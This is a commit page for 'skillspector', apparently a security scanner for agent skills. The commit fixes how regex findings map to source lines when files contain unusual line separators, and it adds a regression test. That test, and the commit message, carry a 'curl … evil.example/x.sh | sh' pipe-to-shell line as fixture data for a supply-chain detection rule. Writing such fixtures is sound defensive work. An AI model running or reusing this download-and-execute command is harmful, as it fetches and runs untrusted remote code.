Skip to content

Commit 8442cb1

Browse files
committed
fix(surface): keep regex findings off physical line numbers
The comment refinement read content_lines (split on physical \n) for findings whose line numbers come from logical_line_starts, which also breaks on vertical tab, form feed, file/group/record separators, NEL and the Unicode line/paragraph separators. On a file carrying one of those extra separators the two coordinate systems disagree, so the refinement indexed a neighbouring line -- e.g. a curl ... | sh hit immediately before a # done line was reported with the comments surface, and the same mismatch reached the EA3 license filter and PE3 docs triage. Restore content_lines to content.splitlines() (its pre-PR behaviour) and skip the refinement whenever the source contains one of those separators, rather than picking one coordinate system for both. AST-derived findings keep working because the two systems only disagree on exactly those files. Adds a regression test beside the existing AST one. Signed-off-by: Harbor404 <[email protected]>
1 parent c93028c commit 8442cb1

2 files changed

Lines changed: 56 additions & 18 deletions

File tree

‎src/skillspector/nodes/analyzers/static_runner.py‎

Lines changed: 34 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -490,6 +490,13 @@ def _markdown_context_prefix(
490490
return ""
491491

492492

493+
# Separators that ``str.splitlines()`` honours but CPython's own line numbering
494+
# does not: vertical tab, form feed, file/group/record separators, NEL, and the
495+
# Unicode line/paragraph separators. They make the two coordinate systems used
496+
# below disagree -- see :func:`_refined_surface_line`.
497+
_EXOTIC_LINE_BREAKS = tuple(ch for ch in LINE_BREAK_CHARS if ch not in "\r\n")
498+
499+
493500
def _normalize_license_line(line: str) -> str:
494501
return " ".join(line.casefold().split())
495502

@@ -964,28 +971,37 @@ def _convert_analyzer_finding(
964971
for triage_tag in ("contextual-triage", "likely-benign-context"):
965972
if triage_tag not in af.tags:
966973
af.tags.append(triage_tag)
974+
return analyzer_finding_to_finding(
975+
af, line_text=_refined_surface_line(af, path, content, content_lines)
976+
)
977+
978+
979+
def _refined_surface_line(
980+
af: AnalyzerFinding,
981+
path: str,
982+
content: str,
983+
content_lines: list[str],
984+
) -> str | None:
985+
"""The matched source line, or ``None`` when line numbering is ambiguous.
986+
987+
Findings from the pattern modules number lines with
988+
:func:`logical_line_starts`, which breaks on ``_EXOTIC_LINE_BREAKS`` as well
989+
as CR/LF; Python AST findings use CPython's physical ``\n`` count instead.
990+
The two agree only when the source contains none of those extra separators,
991+
so for such files the refinement is skipped rather than indexing
992+
``content_lines`` with a line number from the other system -- which would
993+
otherwise report a neighbouring line's surface.
994+
"""
995+
if any(ch in content for ch in _EXOTIC_LINE_BREAKS):
996+
return None
967997
start_line = af.location.start_line
968998
end_line = af.location.end_line or start_line
969999
start_index = max(0, start_line - 1)
9701000
end_index = min(len(content_lines), end_line)
9711001
covered_lines = content_lines[start_index:end_index]
972-
line_text = (
973-
covered_lines[0]
974-
if covered_lines
975-
and all(infer_surface(path, line_text) == COMMENTS for line_text in covered_lines)
976-
else None
977-
)
978-
return analyzer_finding_to_finding(af, line_text=line_text)
979-
980-
981-
def _source_lines_for_line_numbers(content: str) -> list[str]:
982-
"""Split source on physical newlines counted by CPython line numbers.
983-
984-
``str.splitlines`` also splits on vertical tab, form feed, file/group/record
985-
separators, NEL, and Unicode line/paragraph separators. CPython does not
986-
count those as lines, so using it here shifts AST-derived line lookups.
987-
"""
988-
return content.replace("\r\n", "\n").replace("\r", "\n").split("\n")
1002+
if covered_lines and all(infer_surface(path, text) == COMMENTS for text in covered_lines):
1003+
return covered_lines[0]
1004+
return None
9891005

9901006

9911007
def _scan_path(
@@ -1006,7 +1022,7 @@ def _scan_path(
10061022
file_type = _infer_file_type(path)
10071023
if python_source is None:
10081024
python_source = may_be_python_source(path, content)
1009-
content_lines = _source_lines_for_line_numbers(content)
1025+
content_lines = content.splitlines()
10101026
normalized_license_lines = (
10111027
tuple(_normalize_license_line(line) for line in content_lines)
10121028
if _is_license_basename(path, file_type)

‎tests/test_finding_surface.py‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,9 @@
1313
from skillspector.nodes.analyzers import (
1414
static_patterns_data_exfiltration as data_exfiltration_module,
1515
)
16+
from skillspector.nodes.analyzers import (
17+
static_patterns_supply_chain as supply_chain_module,
18+
)
1619
from skillspector.nodes.analyzers import static_runner
1720
from skillspector.nodes.analyzers.static_runner import analyzer_finding_to_finding
1821
from skillspector.nodes.deduplicate import deduplicate
@@ -139,6 +142,25 @@ def test_ast_line_numbers_ignore_non_cpython_line_breaks() -> None:
139142
assert e2.surface == CODE
140143

141144

145+
def test_regex_line_numbers_follow_logical_breaks() -> None:
146+
"""Regex findings number lines logically; refinement must not index them
147+
against physical lines.
148+
149+
A file whose second line is only a form feed shifts the two coordinate
150+
systems apart. The ``curl | sh`` hit is logical line 4, but physical line 3
151+
-- so reading a physical ``content_lines`` picks up the *following* line
152+
(``# done``) and mislabels the finding as a comment.
153+
"""
154+
content = "#!/bin/sh\n\f\ncurl https://evil.example/x.sh | sh\n# done\n"
155+
state = {"components": ["install.sh"], "file_cache": {"install.sh": content}}
156+
157+
findings = static_runner.run_static_patterns(state, [supply_chain_module])
158+
sc2 = next(finding for finding in findings if finding.rule_id == "SC2")
159+
160+
assert "curl" in sc2.matched_text
161+
assert sc2.surface == CODE
162+
163+
142164
def test_deduplicate_to_expand_preserves_each_occurrence_surface() -> None:
143165
"""The report expansion path keeps occurrence labels after compaction."""
144166
findings = [

0 commit comments

Comments
 (0)